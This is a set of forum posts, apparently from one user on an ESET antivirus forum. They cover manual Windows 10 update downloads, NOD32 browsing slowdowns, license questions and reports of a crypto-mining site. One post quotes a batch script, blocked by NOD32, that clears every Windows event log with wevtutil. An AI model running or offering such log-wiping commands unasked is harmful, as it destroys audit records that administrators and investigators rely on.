Update to Windows 10 Versions 1507, 1511, 1607, and 1703 for update reliability: February 8, 2018

Yeah same here the .214 update KB4058258 is not being offered to me automatically through Windows Updates but I can install it manually. I think Microsoft has been strange lately with Windows updates as they've been releasing then pulling them again so it might be the fact that Microsoft is still investigating whether that update is 100% safe for everyone with no adverse effects. To download and install it manually: http://download.windowsupdate.com/d/msdownload/update/software/updt/2018/01/windows10.0-kb4058258-x64_69f87cf7f2ea83509d5e61ba2d525a103a6d64f9.msu That's the link for the 64-Bit version (non Server edition), for all the links to all versions: https://www.catalog.update.microsoft.com/Search.aspx?q=KB4058258

While having themes would be nice, you shouldn't base your renewal upon it. An Antivirus is there to protect you, not to constantly keep opening it up and looking at it. In fact, I install it and forget it's even there, it is very rare that I open the user interface. If you are using an AV because it has nice colors and themes, then you have chosen the wrong product. Just my 2 cents worth.

Hi Marcos, ever since I uninstalled the Killer Network Performance Suite the problem didn't happen again. Thanks

Thanks for the detailed suggestion Marcos. What I just remembered is that I recently installed the Killer Performance Suite which is supposed to control bandwidth per app to prioritize certain apps. I just uninstalled that and will report back if I face the issue again, then I'll do those things you mentioned to troubleshoot. I have Adblock Plus with the following filters as well so I might disable that if I run into the issue as well before running those steps. These are my filters:

I've been recently noticing a bit of a lag when accessing websites, I know the HTTP Scanner has to do its thing but like Gmail isn't even loading, it would hang on loading page for ages. I thought it's just a Gmail glitch at first. Today I tried accessing Gmail, and it just got stuck at loading Gmail.... I then disabled NOD32 and the page loaded instantly. What gives?

I just installed it manually and everything looks fine: Windows 10 Cumulative Update to Build 16299.192 First download the Cumulative update then install it: http://download.windowsupdate.com/c/msdownload/update/software/secu/2018/01/windows10.0-kb4056892-x64_a41a378cf9ae609152b505c40e691ca1228e28ea.msu After the reboot, download and instal the Servicing Stack and install it: http://download.windowsupdate.com/d/msdownload/update/software/crup/2018/01/windows10.0-kb4058702-x64_4ed8d0df4f3c190d3e423bf287d7e95a21a9124a.msu

thanks a lot. that's the kinda answer I was looking for

Despite some ups and downs and previous versions like v7 and v8, overall, ESET has been known ever since I started using it since v2 to be one of the most secure and lightest Antivirus at the same time My question is, what is this magic? how does it achieve this great security level, no false positives AND be the lightest?

Thanks, just wanted to make sure there's nothing wrong with that script.

I have this batch file to clear the event log. When I ran it on my friend's PC which has NOD32 as well, NOD32 blocked it. Just wanna make sure the batch file is safe? @echo off FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") echo. echo goto theEnd :do_clear echo clearing %1 wevtutil.exe cl %1 goto :eof :noAdmin exit

I have the same exact problem and this is on a clean install with Windows 10 Fall Creators update + the latest NOD32 Antivirus v11.0.149.0

Thank you for understanding bro. Cheers

are you gonna post every new pre-release / Beta update you get? The majority of users me included only care about stable releases. Beta updates are way too many to be making a new thread every time you get an update. (no pun intended)

All I can tell you is that in the 14 years that I've been using ESET NOD32 Antivirus (not even the Internet Security with its firewall), I have never gotten a virus and I do visit all kinds of sites you can imagine. ESET's HTTP scanner automatically blocks any bad sites/connections. nuff said. Take these tests with a grain of salt. I for one, will never trust Microsoft with my computer's security and their heavy Windows Defender. http://chart.av-comparatives.org/chart1.php?chart=chart4&year=2017&month=10&sort=1&zoom=2

He bought it from the same ESET US site I pointed above. It says if he wants to increase the license size, he has to call sales so no way to do it online like you could with the Middle East site. I'll tell him to call then

On the ESET Middle East site, I can renew OR increase the license size. Now I've recommended NOD32 to a friend who's in the USA and he bought a 2 user license for 2 years. He just bought his daughter a computer so he wants to add another seat rather than get her a separate license. We couldn't find a way to increase the license size on the ESET US website. There was only renew license and when he enters his license there, it says his license is not eligible for renewal. Probably because his license is still valid for another year. so how does one add to the PC count of his license? why isn't it as easy as it is on the ESET Middle East Site?

That was on another system with nothing installed So when I checked that link on my system, NOD32 didn't alert me of anything. Now it makes sense that you mention it though, seems that no coin filter is worth it after all

I have enabled the no coin rule in Adblock Plus, perhaps that's why ESET wasn't alerting me of anything when visiting that site?

@Marcos Can you please comment on this. also, why does ESET Samples never reply to me.

I have turned on detect potentially unsafe applications, it doesn't detect it, and this should be detected by the HTTP scanner. Kaspersky is already blocking it.

Since I never get any response from ESET, I just should I would also post this here for an admin to make sure this site is blocked....here is a copy of the email I just sent to ESET Samples Team: Please check this site: https://www.techinferno.com/index.php?/forums/ and have ESET’s HTTP Scanner block it =========================================================================================================== Just like to warn you guys that it would seem that techinferno has now started to used end users computers to mine crypto currency.

sent. thank you

I've been using Popcorn time for a while now but with today's update to v5.7.0.0 Beta, if I try to download it, ESET blocks the site: http://dl.popcorn-time.to/PopcornTime-latest.exe Can you please forward this to the threats team to make sure it's not a false positive? Thanks

There's nothing additional that needs to be done. If ESET is blocking some sites and/or files, it is for a good reason as they are known from previous history that they have 0 or close to very little false positives so I suggest you stop visiting the pages that you *thought* were safe and leave that to the security experts (no pun intended) To download ESET NOD32 v11.0.144.0, visit this link: https://download.eset.com/com/eset/apps/home/eav/windows/latest/eav_nt64.exe
